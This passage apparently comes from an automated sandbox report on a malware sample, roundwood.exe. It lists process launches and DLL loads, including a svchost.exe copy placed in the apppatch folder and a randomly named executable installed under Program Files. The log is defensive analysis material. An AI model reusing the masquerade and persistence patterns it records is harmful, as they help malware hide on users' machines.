Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4268 -s 984Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4672 -ip 4672Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4672 -s 708Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6980 -ip 6980Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6980 -s 976Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 6300 -ip 6300Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6300 -s 744Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 6648 -ip 6648Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5168 -ip 5168Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 5616 -ip 5616Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2672 -ip 2672Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 4764 -ip 4764Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3656 -ip 3656Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4460 -ip 4460Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 6648 -ip 6648Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2180 -ip 2180Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: mpclient.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: firewallapi.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: fwbase.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: fwpolicyiomgr.dllJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: winmm.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: mpclient.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: firewallapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: fwbase.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: fwpolicyiomgr.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: winscard.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: devobj.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: sensapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: dbgcore.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\apppatch\svchost.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: winscard.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: devobj.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: sensapi.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: dbgcore.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: samcli.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: netutils.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: wininet.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: wldp.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: profapi.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: winscard.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: devobj.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: sensapi.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: dbgcore.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: samcli.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: netutils.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: wininet.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: wldp.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: profapi.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wersvc.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: windowsperformancerecordercontrol.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: weretw.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wer.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: faultrep.dllJump to behavior
